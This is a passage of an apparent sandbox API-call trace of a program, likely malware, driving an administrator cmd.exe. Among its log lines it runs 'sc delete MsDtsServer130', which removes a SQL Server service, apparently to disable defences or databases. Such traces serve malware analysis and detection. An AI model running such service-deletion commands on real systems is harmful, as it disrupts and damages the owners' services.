(_FileHandle=0) returned 0xb8 [0069.702] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0069.702] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0069.702] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e34e, cchWideChar=1 | out: lpWideCharStr="0\n\nce\n") returned 1 [0069.702] _get_osfhandle (_FileHandle=0) returned 0xb8 [0069.702] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0069.702] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0069.702] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e350, cchWideChar=1 | out: lpWideCharStr="\n\nce\n") returned 1 [0069.702] _get_osfhandle (_FileHandle=0) returned 0xb8 [0069.702] GetFileType (hFile=0xb8) returned 0x3 [0069.702] _get_osfhandle (_FileHandle=0) returned 0xb8 [0069.702] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0069.702] _get_osfhandle (_FileHandle=1) returned 0x120 [0069.703] GetFileType (hFile=0x120) returned 0x3 [0069.703] _get_osfhandle (_FileHandle=1) returned 0x120 [0069.703] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="sc delete MsDtsServer130\n", cchWideChar=-1, lpMultiByteStr=0x4a07c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sc delete MsDtsServer130\n", lpUsedDefaultChar=0x0) returned 26 [0069.703] WriteFile (in: hFile=0x120, lpBuffer=0x4a07c320*, nNumberOfBytesToWrite=0x19, lpNumberOfBytesWritten=0x2cf418, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesWritten=0x2cf418*=0x19, lpOverlapped=0x0) returned 1 [0069.703] GetProcessHeap () returned 0x4a0000 [0069.703] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x4012) returned 0x4c6630 [0069.703] GetProcessHeap () returned 0x4a0000 [0069.703] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4c6630 | out: hHeap=0x4a0000) returned 1 [0069.703] GetProcessHeap () returned 0x4a0000 [0069.703] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0xb0) returned 0x4c4660 [0069.703] GetProcessHeap () returned 0x4a0000 [0069.703] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x16) returned 0x4b89b0 [0069.703] GetProcessHeap () returned 0x4a0000 [0069.703] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x3e) returned 0x4baa40 [0069.703] GetConsoleOutputCP () returned 0x1b5 [0069.703] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a07bfe0 | out: lpCPInfo=0x4a07bfe0) returned 1 [0069.703] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0069.703] GetConsoleTitleW (in: lpConsoleTitle=0x2cf3d0, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 0x2a [0069.704] GetProcessHeap () returned 0x4a0000 [0069.704] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x218) returned 0x4b9910 [0069.704] GetProcessHeap () returned 0x4a0000 [0069.704] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x44) returned 0x4baa90 [0069.704] GetProcessHeap () returned 0x4a0000 [0069.704] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x420) returned 0x4bc530 [0069.704] SetErrorMode (uMode=0x0) returned 0x1 [0069.704] SetErrorMode (uMode=0x1) returned 0x0 [0069.704] GetFullPathNameW (in: lpFileName=".", nBufferLength=0x208, lpBuffer=0x4bc540, lpFilePart=0x2cec60 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x2cec60*="Desktop") returned 0x25 [0069.704] SetErrorMode (uMode=0x1) returned 0x1 [0069.704] GetProcessHeap () returned 0x4a0000 [0069.704] RtlReAllocateHeap (Heap=0x4a0000, Flags=0x0, Ptr=0x4bc530, Size=0x62) returned 0x4bc530 [0069.704] GetProcessHeap () returned 0x4a0000 [0069.704] RtlSizeHeap (HeapHandle=0x4a0000, Flags=0x0, MemoryPointer=0x4bc530) returned 0x62 [0069.704] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x4a06f360, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\") returned 0x63 [0069.704] NeedCurrentDirectoryForExePathW (ExeName=".") returned 1 [0069.704] GetProcessHeap () returned 0x4a0000 [0069.704] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x128) returned 0x4b5b70 [0069.704] GetProcessHeap () returned 0x4a0000 [0069.704] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x240) returned 0x4a1ab0 [0069.704] GetProcessHeap () returned 0x4a0000 [0069.704] RtlReAllocateHeap (Heap=0x4a0000, Flags=0x0, Ptr=0x4a1ab0, Size=0x12a) returned 0x4a1ab0 [0069.704] GetProcessHeap () returned 0x4a0000 [0069.704] RtlSizeHeap (HeapHandle=0x4a0000, Flags=0x0, MemoryPointer=0x4a1ab0) returned 0x12a [0069.704] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x4a06f360, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0069.704] GetProcessHeap () returned 0x4a0000 [0069.704] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0xe8) returned 0x4b9b30 [0069.705] GetProcessHeap () returned 0x4a0000 [0069.705] RtlReAllocateHeap (Heap=0x4a0000, Flags=0x0, Ptr=0x4b9b30, Size=0x7e) returned 0x4b9b30 [0069.705] GetProcessHeap () returned 0x4a0000 [0069.705] RtlSizeHeap (HeapHandle=0x4a0000, Flags=0x0, MemoryPointer=0x4b9b30) returned 0x7e [0069.705] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0069.705] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\sc.*", fInfoLevelId=0x1, lpFindFileData=0x2ce9d0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x2ce9d0) returned 0xffffffffffffffff [0069.705] GetLastError () returned 0x2 [0069.705] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\sc", fInfoLevelId=0x1, lpFindFileData=0x2ce9d0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x2ce9d0) returned 0xffffffffffffffff [0069.705] GetLastError () returned 0x2 [0069.705] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0069.705] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\sc.*", fInfoLevelId=0x1, lpFindFileData=0x2ce9d0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x2ce9d0) returned 0x4b9bc0 [0069.705] FindClose (in: hFindFile=0x4b9bc0 | out: hFindFile=0x4b9bc0) returned 1 [0069.705] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\sc.COM", fInfoLevelId=0x1, lpFindFileData=0x2ce9d0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x2ce9d0) returned 0xffffffffffffffff [0069.706] GetLastError () returned 0x2 [0069.706] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\sc.EXE", fInfoLevelId=0x1, lpFindFileData=0x2ce9d0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x2ce9d0) returned 0x4b9bc0 [0069.706] FindClose (in: hFindFile=0x4b9bc0 | out: hFindFile=0x4b9bc0) returned 1 [0069.706] _wcsicmp (_String1=".EXE", _String2=".BAT") returned 3 [0069.706] _wcsicmp (_String1=".EXE", _String2=".CMD") returned 2 [0069.706] GetConsoleTitleW (in: lpConsoleTitle=0x2cef20, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 0x2a [0069.706] GetProcessHeap () returned 0x4a0000 [0069.706] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x21c) returned 0x4b9180 [0069.706] GetConsoleTitleW (in: lpConsoleTitle=0x4b9190, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 0x2a [0069.706] GetProcessHeap () returned 0x4a0000 [0069.706] RtlReAllocateHeap (Heap=0x4a0000, Flags=0x0, Ptr=0x4b9180, Size=0xaa) returned 0x4b9180 [0069.706] GetProcessHeap () returned 0x4a0000 [0069.706] RtlSizeHeap (HeapHandle=0x4a0000, Flags=0x0, MemoryPointer=0x4b9180) returned 0xaa [0069.706] SetConsoleTitleW (lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe - sc delete MsDtsServer130") returned 1 [0069.707] GetProcessHeap () returned 0x4a0000 [0069.707] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4b9180 | out: hHeap=0x4a0000) returned 1 [0069.707] InitializeProcThreadAttributeList (in: lpAttributeList=0x2cecd8, dwAttributeCount=0x1, dwFlags=0x0, lpSize=0x2cec98 | out: lpAttributeList=0x2cecd8, lpSize=0x2cec98) returned 1 [0069.707] UpdateProcThreadAttribute (in: lpAttributeList=0x2cecd8, dwFlags=0x0, Attribute=0x60001, lpValue=0x2cec88, cbSize=0x4, lpPreviousValue=0x0, lpReturnSize=0x0 | out: lpAttributeList=0x2cecd8, lpPreviousValue=0x0) returned 1 [0069.707] GetStartupInfoW (in: lpStartupInfo=0x2cedf0 | out: lpStartupInfo=0x2cedf0*(cb=0x68, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Windows\\system32\\cmd.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x101, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0xb8, hStdOutput=0x120, hStdError=0x120)) [0069.707] GetProcessHeap () returned 0x4a0000 [0069.707] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x20) returned 0x4b4610 [0069.707] _wcsnicmp (_String1="COPYCMD", _String2="=C:=C:\\", _MaxCount=0x7) returned 38 [0069.707] _wcsnicmp (_String1="COPYCMD", _String2="=ExitCo", _MaxCount=0x7) returned 38 [0069.707] _wcsnicmp (_String1="COPYCMD", _String2="ALLUSER", _MaxCount=0x7) returned 2 [0069.707] _wcsnicmp (_String1="COPYCMD", _String2="APPDATA", _MaxCount=0x7) returned 2 [0069.707] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0069.707] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0069.707] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0069.707] _wcsnicmp (_String1="COPYCMD", _String2="COMPUTE", _MaxCount=0x7) returned 3 [0069.708] _wcsnicmp (_String1="COPYCMD", _String2="ComSpec", _MaxCount=0x7) returned 3 [0069.708] _wcsnicmp (_String1="COPYCMD", _String2="FP_NO_H", _MaxCount=0x7) returned -3 [0069.708] _wcsnicmp (_String1="COPYCMD", _String2="HOMEDRI", _MaxCount=0x7) returned -5 [0069.708] _wcsnicmp (_String1="COPYCMD", _String2="HOMEPAT", _MaxCount=0x7) returned -5 [0069.708] _wcsnicmp (_String1="COPYCMD", _String2="LOCALAP", _MaxCount=0x7) returned -9 [0069.708] _wcsnicmp (_String1="COPYCMD", _String2="LOGONSE", _MaxCount=0x7) returned -9 [0069.708] _wcsnicmp (_String1="COPYCMD", _String2="NUMBER_", _MaxCount=0x7) returned -11 [0069.708] _wcsnicmp (_String1="COPYCMD", _String2="OS=Wind", _MaxCount=0x7) returned -12 [0069.708] _wcsnicmp (_String1="COPYCMD", _String2="Path=C:", _MaxCount=0x7) returned -13 [0069.708] _wcsnicmp (_String1="COPYCMD", _String2="PATHEXT", _MaxCount=0x7) returned -13 [0069.708] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0069.708] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0069.708] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0069.708] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0069.708] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0069.708] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0069.708] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0069.708] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0069.708] _wcsnicmp (_String1="COPYCMD", _String2="PROMPT=", _MaxCount=0x7) returned -13 [0069.708] _wcsnicmp (_String1="COPYCMD", _String2="PSModul", _MaxCount=0x7) returned -13 [0069.708] _wcsnicmp (_String1="COPYCMD", _String2="PUBLIC=", _MaxCount=0x7) returned -13 [0069.708] _wcsnicmp (_String1="COPYCMD", _String2="SystemD", _MaxCount=0x7) returned -16 [0069.708] _wcsnicmp (_String1="COPYCMD", _String2="SystemR", _MaxCount=0x7) returned -16 [0069.708] _wcsnicmp (_String1="COPYCMD", _String2="TEMP=C:", _MaxCount=0x7) returned -17 [0069.708] _wcsnicmp (_String1="COPYCMD", _String2="TMP=C:\\", _MaxCount=0x7) returned -17 [0069.708] _wcsnicmp (_String1="COPYCMD", _String2="USERDOM", _MaxCount=0x7) returned -18 [0069.708] _wcsnicmp (_String1="COPYCMD", _String2="USERNAM", _MaxCount=0x7) returned -18 [0069.708] _wcsnicmp (_String1="COPYCMD", _String2="USERPRO", _MaxCount=0x7) returned -18 [0069.709] _wcsnicmp (_String1="COPYCMD", _String2="windir=", _MaxCount=0x7) returned -20 [0069.709] _wcsnicmp (_String1="COPYCMD", _String2="windows", _MaxCount=0x7) returned -20 [0069.709] _wcsnicmp (_String1="COPYCMD", _String2="windows", _MaxCount=0x7) returned -20 [0069.709] GetProcessHeap () returned 0x4a0000 [0069.709] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4b4610 | out: hHeap=0x4a0000) returned 1 [0069.709] GetProcessHeap () returned 0x4a0000 [0069.709] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x12) returned 0x4b89d0 [0069.709] CreateProcessW (in: lpApplicationName="C:\\Windows\\system32\\sc.exe", lpCommandLine="sc delete MsDtsServer130", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x80000, lpEnvironment=0x0, lpCurrentDirectory="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpStartupInfo=0x2ced10*(cb=0x70, lpReserved=0x0, lpDesktop="WinSta0\\Default", lpTitle="sc delete MsDtsServer130", dwX=0x0, dwY=0x1, dwXSize=0x64, dwYSize=0x64, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x2cecc0 | out: lpCommandLine="sc delete MsDtsServer130", lpProcessInformation=0x2cecc0*(hProcess=0x50, hThread=0x54, dwProcessId=0x984, dwThreadId=0x994)) returned 1 [0069.713] CloseHandle (hObject=0x54) returned 1 [0069.713] SetEnvironmentVariableW (lpName="COPYCMD", lpValue=0x0) returned 1 [0069.713] GetProcessHeap () returned 0x4a0000 [0069.713] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4bba10 | out: hHeap=0x4a0000) returned 1 [0069.713] GetEnvironmentStringsW () returned 0x4bba10* [0069.713] GetProcessHeap () returned 0x4a0000 [0069.713] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0xb0e) returned 0x4c1b10 [0069.713] FreeEnvironmentStringsW (penv=0x4bba10) returned 1 [0069.713] NtQueryInformationProcess (in: ProcessHandle=0x50, ProcessInformationClass=0x0, ProcessInformation=0x2ce5c8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2ce5c8, ReturnLength=0x0) returned 0x0 [0069.713] ReadProcessMemory (in: hProcess=0x50, lpBaseAddress=0x7fffffda000, lpBuffer=0x2ce600, nSize=0x380, lpNumberOfBytesRead=0x2ce5c0 | out: lpBuffer=0x2ce600*, lpNumberOfBytesRead=0x2ce5c0*=0x380) returned 1 [0069.713] WaitForSingleObject (hHandle=0x50, dwMilliseconds=0xffffffff) returned 0x0 [0069.766] GetExitCodeProcess (in: hProcess=0x50, lpExitCode=0x2cec08 | out: lpExitCode=0x2cec08*=0x424) returned 1 [0069.766] CloseHandle (hObject=0x50) returned 1 [0069.766] _vsnwprintf (in: _Buffer=0x2cee78, _BufferCount=0x13, _Format="%08X", _ArgList=0x2cec18 | out: _Buffer="00000424") returned 8 [0069.766] SetEnvironmentVariableW (lpName="=ExitCode", lpValue="00000424") returned 1 [0069.766] GetProcessHeap () returned 0x4a0000 [0069.767] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4c1b10 | out: hHeap=0x4a0000) returned 1 [0069.767] GetEnvironmentStringsW () returned 0x4c1b10* [0069.767] GetProcessHeap () returned 0x4a0000 [0069.767] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0xb0e) returned 0x4bba10 [0069.767] FreeEnvironmentStringsW (penv=0x4c1b10) returned 1 [0069.767] SetEnvironmentVariableW (lpName="=ExitCodeAscii", lpValue=0x0) returned 1 [0069.767] GetProcessHeap () returned 0x4a0000 [0069.767] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4bba10 | out: hHeap=0x4a0000) returned 1 [0069.767] GetEnvironmentStringsW () returned 0x4bba10* [0069.767] GetProcessHeap () returned 0x4a0000 [0069.767] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0xb0e) returned 0x4c1b10 [0069.767] FreeEnvironmentStringsW (penv=0x4bba10) returned 1 [0069.767] GetProcessHeap () returned 0x4a0000 [0069.767] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4b89d0 | out: hHeap=0x4a0000) returned 1 [0069.767] DeleteProcThreadAttributeList (in: lpAttributeList=0x2cecd8 | out: lpAttributeList=0x2cecd8) [0069.767] SetConsoleTitleW (lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 1 [0069.767] _get_osfhandle (_FileHandle=1) returned 0x120 [0069.767] SetConsoleMode (hConsoleHandle=0x120, dwMode=0x0) returned 0 [0069.768] _get_osfhandle (_FileHandle=1) returned 0x120 [0069.768] GetConsoleMode (in: hConsoleHandle=0x120, lpMode=0x4a06e194 | out: lpMode=0x4a06e194) returned 0 [0069.768] _get_osfhandle (_FileHandle=0) returned 0xb8 [0069.768] GetConsoleMode (in: hConsoleHandle=0xb8, lpMode=0x4a06e198 | out: lpMode=0x4a06e198) returned 0 [0069.768] GetConsoleOutputCP () returned 0x1b5 [0069.768] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a07bfe0 | out: lpCPInfo=0x4a07bfe0) returned 1 [0069.768] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0069.768] GetProcessHeap () returned 0x4a0000 [0069.768] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4b9b30 | out: hHeap=0x4a0000) returned 1 [0069.768] GetProcessHeap () returned 0x4a0000 [0069.768] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4a1ab0 | out: hHeap=0x4a0000) returned 1 [0069.768] GetProcessHeap () returned 0x4a0000 [0069.768] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4b5b70 | out: hHeap=0x4a0000) returned 1 [0069.768] GetProcessHeap () returned 0x4a0000 [0069.768] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4bc530 | out: hHeap=0x4a0000) returned 1 [0069.768] GetProcessHeap () returned 0x4a0000 [0069.768] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4baa90 | out: hHeap=0x4a0000) returned 1 [0069.769] GetProcessHeap () returned 0x4a0000 [0069.769] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4b9910 | out: hHeap=0x4a0000) returned 1 [0069.769] GetProcessHeap () returned 0x4a0000 [0069.769] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4baa40 | out: hHeap=0x4a0000) returned 1 [0069.769] GetProcessHeap () returned 0x4a0000 [0069.769] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4b89b0 | out: hHeap=0x4a0000) returned 1 [0069.769] GetProcessHeap () returned 0x4a0000 [0069.769] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4c4660 | out: hHeap=0x4a0000) returned 1 [0069.769] _vsnwprintf (in: _Buffer=0x4a086340, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0x2cf138 | out: _Buffer="\r\n") returned 2 [0069.769] _get_osfhandle (_FileHandle=1) returned 0x120 [0069.769] GetFileType (hFile=0x120) returned 0x3 [0069.769] _get_osfhandle (_FileHandle=1) returned 0x120 [0069.769] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\r\n", cchWideChar=-1, lpMultiByteStr=0x4a07c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\r\n", lpUsedDefaultChar=0x0) returned 3 [0069.769] WriteFile (in: hFile=0x120, lpBuffer=0x4a07c320*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x2cf108, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesWritten=0x2cf108*=0x2, lpOverlapped=0x0) returned 1 [0069.769] GetEnvironmentVariableW (in: lpName="PROMPT", lpBuffer=0x4a06f360, nSize=0x2000 | out: lpBuffer="$P$G") returned 0x4 [0069.769] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x4a07c0a0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25 [0069.769] _vsnwprintf (in: _Buffer=0x4a06eb60, _BufferCount=0x3fe, _Format="%s", _ArgList=0x2cf148 | out: _Buffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 37 [0069.769] _vsnwprintf (in: _Buffer=0x4a06ebaa, _BufferCount=0x3d9, _Format="%c", _ArgList=0x2cf148 | out: _Buffer=">") returned 1 [0069.769] _get_osfhandle (_FileHandle=1) returned 0x120 [0069.769] GetFileType (hFile=0x120) returned 0x3 [0069.770] _get_osfhandle (_FileHandle=1) returned 0x120 [0069.770] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop>", cchWideChar=-1, lpMultiByteStr=0x4a07c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop>", lpUsedDefaultChar=0x0) returned 39 [0069.770] WriteFile (in: hFile=0x120, lpBuffer=0x4a07c320*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x2cf138, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesWritten=0x2cf138*=0x26, lpOverlapped=0x0) returned 1 [0069.770] _get_osfhandle (_FileHandle=0) returned 0xb8 [0069.770] GetFileType (hFile=0xb8) returned 0x3 [0069.770] _get_osfhandle (_FileHandle=0) returned 0xb8 [0069.770] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0069.770] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0069.770] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e320, cchWideChar=1 | out: lpWideCharStr="sc delete MsDtsServer130\n\nce\n") returned 1 [0069.770] _get_osfhandle (_FileHandle=0) returned 0xb8 [0069.770] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0069.770] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0069.770] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e322, cchWideChar=1 | out: lpWideCharStr="c delete MsDtsServer130\n\nce\n") returned 1 [0069.770] _get_osfhandle (_FileHandle=0) returned 0xb8 [0069.770] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0069.770] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0069.770] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e324, cchWideChar=1 | out: lpWideCharStr=" delete MsDtsServer130\n\nce\n") returned 1 [0069.770] _get_osfhandle (_FileHandle=0) returned 0xb8 [0069.771] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0069.771] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0069.771] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e326, cchWideChar=1 | out: lpWideCharStr="delete MsDtsServer130\n\nce\n") returned 1 [0069.771] _get_osfhandle (_FileHandle=0) returned 0xb8 [0069.771] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0069.771] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0069.771] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e328, cchWideChar=1 | out: lpWideCharStr="elete MsDtsServer130\n\nce\n") returned 1 [0069.771] _get_osfhandle (_FileHandle=0) returned 0xb8 [0069.771] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0069.771] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, 